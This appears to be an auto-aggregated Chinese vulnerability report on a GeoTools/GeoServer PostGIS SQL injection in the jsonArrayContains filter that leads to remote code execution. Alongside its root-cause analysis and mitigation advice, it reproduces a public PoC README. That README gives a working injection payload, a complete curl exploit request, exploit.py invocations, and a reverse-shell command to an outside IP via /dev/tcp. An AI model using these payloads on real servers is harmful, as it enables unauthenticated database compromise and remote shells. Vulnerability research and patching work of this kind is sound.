🎯 CVE-2026-76904 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-76904 深度技术分析

📊 聚合 3 来源🧪 含 PoC
NVD-LatestGitHub-AdvisoryPoC-in-GitHub

摘要:CVE-2026-76904 是 GeoTools/GeoServer 中一个位于 PostGIS DataStore 实现层面的 未认证 SQL 注入漏洞,CVSS 评分为 9.8(Critical)。攻击者可利用 OGC Filter 中的 jsonArrayContains 函数,在无需任何身份验证的情况下向 PostGIS 数据库注入任意 SQL 表达式,并进一步通过 PostgreSQL 的 COPY TO PROGRAM 能力实现远程代码执行(RCE),从而完全控制数据库服务器乃至所在主机。该漏洞影响 GeoTools 30.5 至 34.4/33.5 之间的多个版本,官方已发布 33.5、34.4 和 35.1 修复版本。

📌 漏洞概述

CVE-2026-76904 是 GeoTools 中 gt-jdbc-postgis 模块的一个 SQL 注入漏洞,由 GitHub Advisory 分配编号 GHSA-mqjf-5f49-2fjh,CVSS v3.1 评分为 9.8,攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N),无需用户交互(UI:N),影响机密性、完整性和可用性(C:H/I:H/A:H)。

该漏洞存在于 PostGIS DataStore 对 OGC Filter 中 jsonArrayContains 函数的 SQL 生成逻辑中。当数据库为 PostgreSQL 12 及以上版本,且目标列为 String 或 JSON 类型时,攻击者可以通过 GeoServer 的 WFS/WMS 等公开接口提交特制 Filter,使 jsonArrayContains 的第三个参数(value)被直接拼接到生成的 SQL 语句中,从而执行任意 SQL 代码。

受影响版本:GeoTools 30.5 起(含)至 33.534.4 之前的版本(即 30.5 ~ 33.4、30.5 ~ 34.3、35.0 及更早版本均受影响)。修复版本为 33.534.435.1。GeoServer 作为 GeoTools 的 Web 服务封装,若使用了受影响版本的 GeoTools,则同样存在该漏洞。

🔬 漏洞根因分析

该漏洞的核心根因位于 GeoTools 的 FilterToSqlHelper.constructEquality 方法中。OGC Filter 表达式 jsonArrayContains(<column>, <pointer>, <value>) 用于匹配 JSON 数组中的元素。在 PostGIS 12+ 环境中,GeoTools 通过 jsonb_path_exists 函数实现该功能,生成的 SQL 结构大致如下:

jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<value>")')

其中第三个参数 <value> 是攻击者可控的输入。然而,GeoTools 在构造这个 JSON 路径表达式时,使用了 String.formatted() 直接进行字符串格式化,示例代码如下:

Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);

注意,这里的 value 没有被进行任何 SQL 转义、参数绑定或 JSON 路径特殊字符处理,而是原封不动地拼接进 SQL 字符串。攻击者可以在 value 中提前闭合双引号、括号以及 jsonb_path_exists 函数,从而逃逸出原本的 JSON 路径上下文,构造任意 SQL 表达式。

从本质上讲,这属于将不可信输入直接拼接到 SQL 语句中的经典注入缺陷。更值得关注的是,该问题并非全新漏洞,而是 CVE-2023-25158 的回归。CVE-2023-25158 同样是因 OGC Filter 处理不当导致的 SQL 注入,当时官方对相关函数进行了加固,但 jsonArrayContains 是在后续版本的 GEOT-7589 中新增的 PostGIS 12+ 支持函数,新增代码未继承之前的修补逻辑,导致旧漏洞在新的函数实现上重新出现。

在真实攻击场景中,攻击者可构造如下恶意 Filter 参数:

jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'command'; --')

这会导致生成的 SQL 变成:

... WHERE jsonb_path_exists("data"::jsonb, '$ ? (@.x == "y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'command'; --')')

攻击者在闭合原有表达式后,通过分号引入新的 SQL 语句。若 PostGIS 连接账号拥有超级权限或 pg_execute_server_program 权限,即可执行 PostgreSQL 的 COPY ... TO PROGRAM,在数据库服务器操作系统上执行任意命令,完成从 SQL 注入到 RCE 的完整攻击链。

💥 影响与危害

该漏洞可被未认证攻击者从公网直接触发,危害极大,具体影响包括:

  • 任意 SQL 执行:攻击者可读取、修改、删除数据库中的所有数据,突破应用层权限限制,获取敏感地理信息、用户凭证、业务数据等。
  • 远程代码执行(RCE):通过 PostgreSQL 的 COPY TO PROGRAM,攻击者可在数据库服务器上执行系统命令,进而上传 webshell、植入后门、横向移动,完全接管服务器。
  • 数据泄露与勒索:攻击者可批量导出数据,或对数据进行加密/破坏,造成严重的数据安全事件。
  • 内网渗透跳板:数据库服务器通常处于内网,攻击者可利用其作为跳板进一步攻击内网其他系统。
  • 业务中断:恶意 SQL 可能导致数据库崩溃、连接池耗尽或数据损坏,直接影响 GIS 服务的可用性。

由于 GeoServer 广泛部署于政府、测绘、环境、交通等行业,且该漏洞无需身份验证、攻击复杂度低,实际影响范围极大。PoC 已公开,尽管尚未被 CISA KEV 收录,但已出现被在野利用的报告,安全团队必须立即处置。

🛡️ 修复与缓解

官方补丁:

  • GeoTools 33.5
  • GeoTools 34.4
  • GeoTools 35.1

所有使用受影响版本的用户应尽快升级至上述修复版本之一。GeoServer 用户需根据其 GeoServer 版本对应的 GeoTools 版本进行升级。

临时缓解措施:

  • 官方声明 没有可用的 workaround,唯一能限制 SQL 注入影响范围的方式是以最小权限配置 PostGIS 连接池:禁止使用超级用户连接,仅授予查询所需的最小 SELECT 权限,并严格限制 COPYCREATE 等高风险操作权限,降低被提权为 RCE 的风险。
  • 在网络层部署 WAF 或网关规则,对 OGC Filter 参数中疑似 SQL 注入的敏感字符(如 ';COPYPROGRAM 等)进行拦截。
  • 及时监控数据库中的异常 SQL 日志和 COPY TO PROGRAM 执行记录,发现异常立即阻断。
  • 若无法立即升级,可临时禁用 PostGIS 相关的 jsonArrayContains Filter 功能,或关闭暴露的 WFS/WMS 接口,但这会牺牲业务功能,仅建议作为应急手段。

鉴于漏洞的严重性和利用的便利性,修复升级不应推迟。安全团队应优先排查所有暴露在公网的 GeoServer/GeoTools 实例,确认版本是否受影响,并即刻启动升级流程。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源YonLiud/CVE-2026-76904针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# GeoServer SQL Injection to RCE (Zero-Day)

**CVE:** **CVE-2026-76904** |
**CVSS:** 9.8 (Critical)

``CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H``

This vulnerability has been assigned **GHSA-mqjf-5f49-2fjh** by the GeoServer/GeoTools team and is actively being exploited in the wild as of August 2026.
The vulnerability has been patched but since it's so fresh (`1786870173`) it's still being exploited heavily around the web.

August 21,
2026 - Recieved a CVE Identifier: CVE-2026-76904

## TLDR

Unauthenticated SQL injection in GeoServer's `jsonArrayContains` function 
->Remote Code Execution via PostgreSQL `COPY TO PROGRAM`.

## The vulnerability

GeoServer's (specifically in GeoTools) `jsonArrayContains` function,used to query JSON arrays in PostgreSQL,
contains a **critical SQL injection vulnerability**. The third parameter (`expected`) is **directly concatenated** into the SQL query without any sanitization,escaping,or parameter binding.

Specifically this:

```
jsonb_path_exists("column"::jsonb,
'$ ? (@.key == "<USER_INPUT>")')
```

### Deeper dive

The vulnerability comes from `GeoTools`' `FilterToSqlHelper.constructEquality` method.
The `jsonArrayContains` function's third parameter (`expected`) is directly written into the SQL string using `String.formatted()` without any escaping.

```js
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex],value);```

This flaw is not a new bug,it's a regression of **CVE-2023-25158** (an identical CVSS 9.8 SQL injection vulnerability)

The new vulnerability was introduced when `GEOT-7589` added `jsonb_path_exists` support for PostgreSQL 12+.
The 2023 patch didn't protect the `jsonArrayContains` function,
which was added/modified after that remediation.

## Demo

https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d

## Payload

Esentially this:

```
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected;COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
```

**Payload Breakdown:**

|Component |Purpose ||-----------|---------||`jsonArrayContains(data,'/x','y")\'')` |
Calls function with crafted third param ||`OR 1=1))` |Closes JSON path and function call ||`AS gt_injected;` |Aliases the derived table ||`COPY (SELECT 1) TO PROGRAM 'COMMAND'` |PostgreSQL RCE command ||`--')=true` |Comments out remaining SQL |
**Manual curl**
```bash
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
  --data-urlencode "service=WFS" \
  --data-urlencode "version=2.0.0" \
  --data-urlencode "request=GetFeature" \
  --data-urlencode "typeNames=topp:test_json" \
  --data-urlencode "outputFormat=application/json" \
  --data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected;
COPY (SELECT 1) TO PROGRAM 'whoami >
/tmp/pwned.txt' --')=true"
```

The WFS 2.0 closure pattern is adapted from the research by [mhtsec](https://github.com/mhtsec/GeoServer-jsonArrayContains-PG-RCE)

## Usage

Nobody wants to run curl right? here's the usage of exploit.py

**File Creation PoC**
```bash
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo what\'s up BrOoOoO00????? >
/tmp/yonliud.txt" \
  --show-payload
```

**RCE PoC**

```bash
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "bash -c 'bash -i >&
/dev/tcp/172.26.242.223/4444 0>&1'" \
  --show-payload
```

## Lab

A `docker-compose.yml` is provided for simplicity to have a quick start with the PoC.

After initialization using
```
Docker compose up -d
```

we can setup the enviroment using the REST api available to us
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<dataStore>
<name>test_json_store</name><connectionParameters><entry key="host">db</entry><entry key="port">5432</entry><entry key="database">geoserver_data</entry><entry key="user">geoserver</entry><entry key="passwd">geoserver</entry><entry key="dbtype">postgis</entry></connectionParameters>
</dataStore>'
```
**Publish the layer**
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<featureType><name>test_json</name><nativeName>test_json</nativeName><title>Test JSON Layer</title>
<srs>EPSG:4326</srs></featureType>'
```

## [Original X post](https://x.com/q1uf3ng/status/2087490992723407096)

## Disclaimer

This repository contains an independent proof-of-concept exploit for the GeoServer ;jsonArrayContains;
zero-day SQL injection to RCE vulnerability.
This vulnerability was originally discovered and disclosed by 秋风 ([@q1uf3ng](https://x.com/q1uf3ng)). The exploit chain was recreated and validated in a controlled lab environment.

This project is intended solely for authorized security research,education,and testing in isolated laboratory environments.

Do not use this software against systems,
networks,or data without
explicit authorization from the owner. You are solely responsible for
complying with all applicable laws and for any consequences resulting
from your use of this project.

The author,YonLiud,provides this project “as is,” without warranties
of any kind,and accepts no responsibility for damage,data loss,service disruption,unauthorized access,
or other misuse caused by this
software or derivative works.

By using this project,you acknowledge and accept these conditions.

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-24 12:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)